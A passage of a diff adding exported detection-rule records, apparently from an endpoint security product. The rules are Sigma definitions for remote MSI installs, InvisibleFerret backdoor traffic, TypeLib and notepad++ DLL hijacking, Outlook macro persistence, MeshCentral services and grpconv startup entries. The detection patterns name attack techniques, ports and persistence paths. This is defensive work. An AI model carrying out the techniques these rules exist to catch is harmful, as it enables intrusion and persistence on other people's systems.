+  "content": "title: MSI File Installed Remotely\nid: 81d540bc-ce2c-43e7-8b95-5d78f41f00cf\ndescription: |\n    Detects the installation of a remote MSI file.\n    Adversaries may install remote MSI in order to deploy malicious code on a compromised host.\n    It is recommended to check if msiexec hash spawn any suspicious child process and determine the legitimacy of the contacted URL.\nreferences:\n    - https://attack.mitre.org/techniques/T1218/007/\ndate: 2025/05/20\nmodified: 2025/11/06\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218.007\n    - classification.Windows.Source.UrlRequest\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.FileDownload\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    product: windows\n    category: url_request\ndetection:\n    selection:\n        ProcessImage|endswith: '\\msiexec.exe'\n        ProcessParentImage|endswith: '\\services.exe'\n        UserAgent:\n            - 'Windows Installer'\n            - 'AdvancedInstaller'\n        RequestUrlHost|contains: '.' # host without dot is probably on local network\n\n    exclusion_sccm:\n        RequestUrl|contains:\n            - '/sms_dp_smspkg$/'\n            - '/nocert_sms_dp_smspkg$/'\n            - '/ccmtokenauth_sms_dp_smspkg$/'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "81d540bc-ce2c-43e7-8b95-5d78f41f00cf",
+  "rule_name": "MSI File Installed Remotely",
+  "rule_description": "Detects the installation of a remote MSI file.\nAdversaries may install remote MSI in order to deploy malicious code on a compromised host.\nIt is recommended to check if msiexec hash spawn any suspicious child process and determine the legitimacy of the contacted URL.\n",
+  "rule_creation_date": "2025-05-20",
+  "rule_modified_date": "2025-11-06",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218.007"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "81ee28b1-c1cb-437e-b0b2-465d0a0ed9f8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.075156Z",
+  "creation_date": "2026-03-23T11:45:34.075159Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.075163Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://unit42.paloaltonetworks.com/two-campaigns-by-north-korea-bad-actors-target-job-hunters/",
+    "https://objective-see.org/blog/blog_0x7A.html",
+    "https://www.group-ib.com/blog/apt-lazarus-python-scripts/",
+    "https://attack.mitre.org/techniques/T1555/003/"
+  ],
+  "name": "t1555_003_invisibleferret_backdoor_windows.yml",
+  "content": "title: InvisibleFerret Backdoor Communication Detected (Windows)\nid: 81ee28b1-c1cb-437e-b0b2-465d0a0ed9f8\ndescription: |\n    Detects network communications related to the InvisibleFerret backdoor.\n    InvisibleFerret is a cross-platform backdoor written in Python. The development and usage of this tool has been attributed to Lazarus Group (also known as APT38 or DPRK), a North Korean state-sponsored cyber threat group.\n    InvisibleFerret consists of various components that target popular web browsers on Windows, Linux and macOS to steal login credentials and other sensitive data.\n    It is recommended to investigate the process performing this action and the destination IP address to determine the legitimacy of this behavior.\nreferences:\n    - https://unit42.paloaltonetworks.com/two-campaigns-by-north-korea-bad-actors-target-job-hunters/\n    - https://objective-see.org/blog/blog_0x7A.html\n    - https://www.group-ib.com/blog/apt-lazarus-python-scripts/\n    - https://attack.mitre.org/techniques/T1555/003/\ndate: 2024/10/25\nmodified: 2025/01/20\nauthor: HarfangLab\ntags:\n    - attack.collection\n    - attack.credential_access\n    - attack.t1056.001\n    - attack.t1555.003\n    - attack.command_and_control\n    - attack.t1571\n    - attack.exfiltration\n    - attack.t1041\n    - classification.Windows.Source.NetworkActivity\n    - classification.Windows.ThreatActor.APT38\n    - classification.Windows.ThreatActor.Lazarus\n    - classification.Windows.Malware.InvisibleFerret\n    - classification.Windows.Behavior.NetworkActivity\n    - classification.Windows.Behavior.Exfiltration\n    - classification.Windows.Behavior.CommandAndControl\nlogsource:\n    category: network_connection\n    product: windows\ndetection:\n    selection:\n        ProcessImage: '?:\\Users\\\\*\\.pyp\\python.exe'\n        DestinationPort:\n            - '1224'\n            - '2245'\n\n    condition: selection\nlevel: critical\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "81ee28b1-c1cb-437e-b0b2-465d0a0ed9f8",
+  "rule_name": "InvisibleFerret Backdoor Communication Detected (Windows)",
+  "rule_description": "Detects network communications related to the InvisibleFerret backdoor.\nInvisibleFerret is a cross-platform backdoor written in Python. The development and usage of this tool has been attributed to Lazarus Group (also known as APT38 or DPRK), a North Korean state-sponsored cyber threat group.\nInvisibleFerret consists of various components that target popular web browsers on Windows, Linux and macOS to steal login credentials and other sensitive data.\nIt is recommended to investigate the process performing this action and the destination IP address to determine the legitimacy of this behavior.\n",
+  "rule_creation_date": "2024-10-25",
+  "rule_modified_date": "2025-01-20",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.command_and_control",
+    "attack.credential_access",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1041",
+    "attack.t1056.001",
+    "attack.t1555.003",
+    "attack.t1571"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "81ff4aaf-a9b8-4e55-8636-5ebde7e57ac6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.071895Z",
+  "creation_date": "2026-03-23T11:45:34.071897Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.071901Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661",
+    "https://attack.mitre.org/techniques/T1546/015/"
+  ],
+  "name": "t1546_015_persistence_type_lib.yml",
+  "content": "title: TypeLib Hijacking via Registry\nid: 81ff4aaf-a9b8-4e55-8636-5ebde7e57ac6\ndescription: |\n    Detects the registration of a new type library in the Windows registry.\n    Type libraries are files that include information about types and objects exposed by an ActiveX (COM) application.\n    Adversaries may register a new type library in order to establish persistence. This library will be executed when a specified process is launched.\n    It is recommended to check whether the process modifying the registry keys has legitimate reasons to do it.\nreferences:\n    - https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661\n    - https://attack.mitre.org/techniques/T1546/015/\ndate: 2024/10/25\nmodified: 2025/02/13\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1546.015\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.Hijacking\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: 'SetValue'\n        TargetObject|contains:\n            - 'TypeLib\\{????????-????-????-????-????????????}\\\\*\\\\*\\WIN64\\'\n            - 'TypeLib\\{????????-????-????-????-????????????}\\\\*\\\\*\\WIN32\\'\n        Details|startswith: 'script:'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "81ff4aaf-a9b8-4e55-8636-5ebde7e57ac6",
+  "rule_name": "TypeLib Hijacking via Registry",
+  "rule_description": "Detects the registration of a new type library in the Windows registry.\nType libraries are files that include information about types and objects exposed by an ActiveX (COM) application.\nAdversaries may register a new type library in order to establish persistence. This library will be executed when a specified process is launched.\nIt is recommended to check whether the process modifying the registry keys has legitimate reasons to do it.\n",
+  "rule_creation_date": "2024-10-25",
+  "rule_modified_date": "2025-02-13",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1546.015"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "82582694-2dc2-45e5-8e0c-be9a6740f79d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.586469Z",
+  "creation_date": "2026-03-23T11:45:34.586473Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.586481Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://asec.ahnlab.com/en/64106/",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_notepadpp.yml",
+  "content": "title: DLL Hijacking via notepad++.exe\nid: 82582694-2dc2-45e5-8e0c-be9a6740f79d\ndescription: |\n    Detects potential Windows DLL Hijacking via notepad++.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nreferences:\n    - https://asec.ahnlab.com/en/64106/\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2024/05/02\nmodified: 2025/09/25\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'notepad++.exe'\n        ProcessSignature: 'Notepad++'\n        ImageLoaded|endswith: '\\mimeTools.dll'\n        sha256|contains: '?'\n\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files (x86)\\Notepad++\\'\n            - '?:\\Program Files\\Notepad++\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Program Files (x86)\\Notepad++\\'\n            - '?:\\Program Files\\Notepad++\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Notepad++'\n    filter_imageloaded_peinfo:\n        OriginalFileName: 'base64.dll'\n        Product: 'mimeTools'\n        Description: 'Base64 encoder/decoder plugin for Notepad++'\n        Company: 'Don HO don.h@free.fr'\n\n    exclusion_known_sha256:\n        # https://www.virustotal.com/gui/file/8397fcc9a83e2a009075074adc99db529cebd9d0a3fbc97cee264cb8db3a2564\n        # https://github.com/npp-plugins/mimetools/releases\n        sha256:\n            - '8397fcc9a83e2a009075074adc99db529cebd9d0a3fbc97cee264cb8db3a2564' # version 1.9\n            - '58868d7751e27881e5c2ceaede90ea26f2d093934788f7816305374fa8abc008' # version 2.0\n            - '102519fc95a83fa0a0947a867b5f7706622174753dadb2a095c913ab2f6d0a60' # version 2.0 x64\n            - '4195f522700ac3275b4ce6a19c1c06e3d1d438d0cd70037f86ce5c3812ffa70f' # version 2.1\n            - '6ccfdef2c0f192a75f3cb90b744c7c38d3e2b08fd47e14f3d8b3d48f4a4e06de' # version 2.1 x64\n            - '4b4c29d702ba40a1ff9e28a595325e03d7ca46a1f77caa035e22dd5ba1ade390' # version 2.2\n            - '1d179a9f442865badeb7aba17abe15eca502372e39256a185be5fc7eb60a587a' # version 2.2 x64\n            - '6308a6b58cc8750b2b4a430ada87952bf76fd029bf1efa5ae343a908775a2bd9' # version 2.3\n            - '69447ccea6e9c4536ea7b1635212536d5b18a22b9aab177053e11a8fdfd6e918' # version 2.3 x64\n            - '7713ab3268b0314bea3c6f203e1b8ab9faf1be24cc97b24fe9d1b79ec095dbb0' # version 2.4\n            - 'b082e2614a75da2c395c5b85a09f9c331a6d2aaaae2d92e43e62478bae25b5a6' # version 2.4 x64\n            - 'baaa72bf24911a5f14511d1b2ce31800b7288d575d4ae5c92cfb0b4b5cc73f98' # version 2.5\n            - '4e5c3bf3212501b906355268043f34ff229d98b690ddedf07f2b298f875cf2f9' # version 2.5 x64\n            - '8c47897872413b4adcd1ae59684e4bd60cf7a1db1c17ddf8111d80fdf52ca8eb' # version 2.6\n            - '0875329e6d192e3115d773112f681bc0819274d1cbb80e38cd788e793cc38a90' # version 2.6 x64\n            - '7c0ef37ad83ccadcb32e7ff86e3ee9d6a3f180d9166060fd9ec58dad194aa7a3' # version 2.7\n            - '8d15d5dc4857858564cad0379bfde9044c93af249d497009b8667d8d6bfc0968' # version 2.7 x64\n            - 'a89b66c32ce4b977cc3744e76186fddd16992414c825ea2f1166a1ae544d69da' # version 2.8\n            - 'b9a8ca258aa3edca1aa1b3ea4e264d3b0cda7c82a30b7464586d8be95701ea61' # version 2.8 x64\n            - '9fe58b3ec6710340627278f0022f27f940f93c71df769af5ad0dc2989aa2a277' # version 2.9\n            - 'b034d12b7624b038b5d87d9f965d7dfb9c18a5c6eb82b7f44caa16749c4e00cc' # version 2.9 x64\n            - 'f244bf96bcef25a9a941160e3cc97a83fcf37a568b2b71b43f0ae6f0c4122fe6' # version 3.0\n            - '0886272a0acb394a380cdd8dbe965813501a626daa94b237419ad395609304b7' # version 3.0 x64\n            - '00c14753d6ef8942edfe55c10b22749422151b42a78afec31fac200e91f3e447' # version 3.1\n            - '4698005effd3dbe9acbda48538e5b00ae151923805c347768f748bf57a72f197' # version 3.1 x64\n            - '713bc3a04165e66620aad6ea78c65a7fa7aeae9e400444d635a1e38859030c8c' # version 3.1 x64\n            - '120fd0c27fb6e4528dd8ba61c10ec70b85e1cbe867762bdcaa1bb52b14fcf577' # version 3.1 x64\n            - '3ec2935bbfed1b1401a58046c84d98dcb0360382d312c30812efc8a459b8f845' # version 3.1 x64\n            - 'f30c60e22cf5343b28b111b1c4310f869ff38515024147fc7eaaab53659f96f1' # version 3.1 x64\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "82582694-2dc2-45e5-8e0c-be9a6740f79d",
+  "rule_name": "DLL Hijacking via notepad++.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via notepad++.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n",
+  "rule_creation_date": "2024-05-02",
+  "rule_modified_date": "2025-09-25",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "8297e246-5ae5-4dd3-a3c6-35e3ba315bad",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.621589Z",
+  "creation_date": "2026-03-23T11:45:34.621591Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.621596Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/",
+    "https://attack.mitre.org/techniques/T1003/001/"
+  ],
+  "name": "t1137_outlook_startup.yml",
+  "content": "title: Microsoft Outlook Startup Macro Created\nid: 8297e246-5ae5-4dd3-a3c6-35e3ba315bad\ndescription: |\n    Detects an attempt to create VbaProject.OTM in Outlook user directory.\n    Attackers can create startup VBA macros to achieve persistence at Outlook boot.\n    It is recommended to analyze the process reponsible for the creation of the macro file as well as to analyze the file itself to look for malicious content or actions.\nreferences:\n    - https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/\n    - https://attack.mitre.org/techniques/T1003/001/\ndate: 2021/06/24\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1137\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: filesystem_create\ndetection:\n    selection:\n        Path|endswith: '\\AppData\\Roaming\\Microsoft\\Outlook\\VbaProject.OTM'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_workspace_managers:\n        - ProcessImage:\n            - '?:\\Program Files\\Ivanti\\Workspace Control\\pwrgrid.exe'\n            - '?:\\Program Files (x86)\\Ivanti\\Workspace Control\\pwrgrid.exe'\n            - '?:\\Program Files\\citrix\\user profile manager\\userprofilemanager.exe'\n            - '?:\\Program Files (x86)\\citrix\\user profile manager\\userprofilemanager.exe'\n          # https://www.fichorga.fr/nos-solutions.php\n        - ProcessOriginalFileName: 'Inst_authentic_ui.exe'\n          # svchost user environment manager\n        - ProcessCommandLine: '?:\\WINDOWS\\System32\\svchost.exe -k netsvcs -p -s SessionEnv'\n\n    exclusion_outlook:\n        ProcessOriginalFileName: 'Outlook.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Corporation'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "8297e246-5ae5-4dd3-a3c6-35e3ba315bad",
+  "rule_name": "Microsoft Outlook Startup Macro Created",
+  "rule_description": "Detects an attempt to create VbaProject.OTM in Outlook user directory.\nAttackers can create startup VBA macros to achieve persistence at Outlook boot.\nIt is recommended to analyze the process reponsible for the creation of the macro file as well as to analyze the file itself to look for malicious content or actions.\n",
+  "rule_creation_date": "2021-06-24",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1137"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "82a30c48-7129-43eb-8568-c9a59ff30028",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.076307Z",
+  "creation_date": "2026-03-23T11:45:34.076309Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.076313Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://meshcentral.com/info/",
+    "https://twitter.com/malmoeb/status/1558861977379868672",
+    "https://attack.mitre.org/techniques/T1569/002/",
+    "https://attack.mitre.org/techniques/T1219/002/"
+  ],
+  "name": "t1543_003_meshcentral_service_installed.yml",
+  "content": "title: MeshCentral Service Installed\nid: 82a30c48-7129-43eb-8568-c9a59ff30028\ndescription: |\n    Detects the installation of a MeshCentral service.\n    MeshCentral is a remote host control tool that can be used maliciously as a Remote Access Tool (RAT).\n    It is recommended to remove unauthorized instances while reviewing historical network connections from the service endpoints.\nreferences:\n    - https://meshcentral.com/info/\n    - https://twitter.com/malmoeb/status/1558861977379868672\n    - https://attack.mitre.org/techniques/T1569/002/\n    - https://attack.mitre.org/techniques/T1219/002/\ndate: 2022/08/23\nmodified: 2025/06/27\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1569.002\n    - attack.command_and_control\n    - attack.t1543.003\n    - classification.Windows.Source.EventLog\n    - classification.Windows.RMM.MeshCentral\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.CommandAndControl\nlogsource:\n    product: windows\n    service: system\ndetection:\n    selection:\n        EventID: 7045\n        ServiceName|contains: 'Mesh Agent'\n\n    condition: selection\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "82a30c48-7129-43eb-8568-c9a59ff30028",
+  "rule_name": "MeshCentral Service Installed",
+  "rule_description": "Detects the installation of a MeshCentral service.\nMeshCentral is a remote host control tool that can be used maliciously as a Remote Access Tool (RAT).\nIt is recommended to remove unauthorized instances while reviewing historical network connections from the service endpoints.\n",
+  "rule_creation_date": "2022-08-23",
+  "rule_modified_date": "2025-06-27",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1543.003",
+    "attack.t1569.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "82ba06fb-1211-48c3-b5e3-be2baf17ac1c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.088757Z",
+  "creation_date": "2026-03-23T11:45:34.088760Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.088764Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/0gtweet/status/1526833181831200770",
+    "https://attack.mitre.org/techniques/T1547/001/"
+  ],
+  "name": "t1547_001_suspicious_persistence_grpconv.yml",
+  "content": "title: Persistence Added via grpconv.exe\nid: 82ba06fb-1211-48c3-b5e3-be2baf17ac1c\ndescription: |\n    Detects an entry in the startup folder being created via grpconv.exe.\n    Attackers can add an entry in the startup folder to achieve persistence.\n    It is recommended to investigate the file created for suspicious content and to analyze the process responsible for the execution of grpconv.exe.\nreferences:\n    - https://twitter.com/0gtweet/status/1526833181831200770\n    - https://attack.mitre.org/techniques/T1547/001/\ndate: 2022/05/19\nmodified: 2025/02/06\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1547.001\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.LOLBin.Grpconv\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: filesystem_create\ndetection:\n    selection:\n        Image: '?:\\Windows\\System32\\grpconv.exe'\n        TargetFilename|contains:\n            - '\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\'  # individual user : c:\\users\\xxx\\appdata\\...\n            - '\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\'  # all users\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "82ba06fb-1211-48c3-b5e3-be2baf17ac1c",
+  "rule_name": "Persistence Added via grpconv.exe",
+  "rule_description": "Detects an entry in the startup folder being created via grpconv.exe.\nAttackers can add an entry in the startup folder to achieve persistence.\nIt is recommended to investigate the file created for suspicious content and to analyze the process responsible for the execution of grpconv.exe.\n",
+  "rule_creation_date": "2022-05-19",
+  "rule_modified_date": "2025-02-06",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1547.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "82bd1902-b17c-49f2-aff6-7b91e1340aa1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
